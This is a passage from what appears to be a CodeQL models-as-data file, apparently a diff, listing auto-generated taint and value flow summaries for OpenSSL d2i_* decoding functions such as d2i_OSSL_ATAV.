"d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const 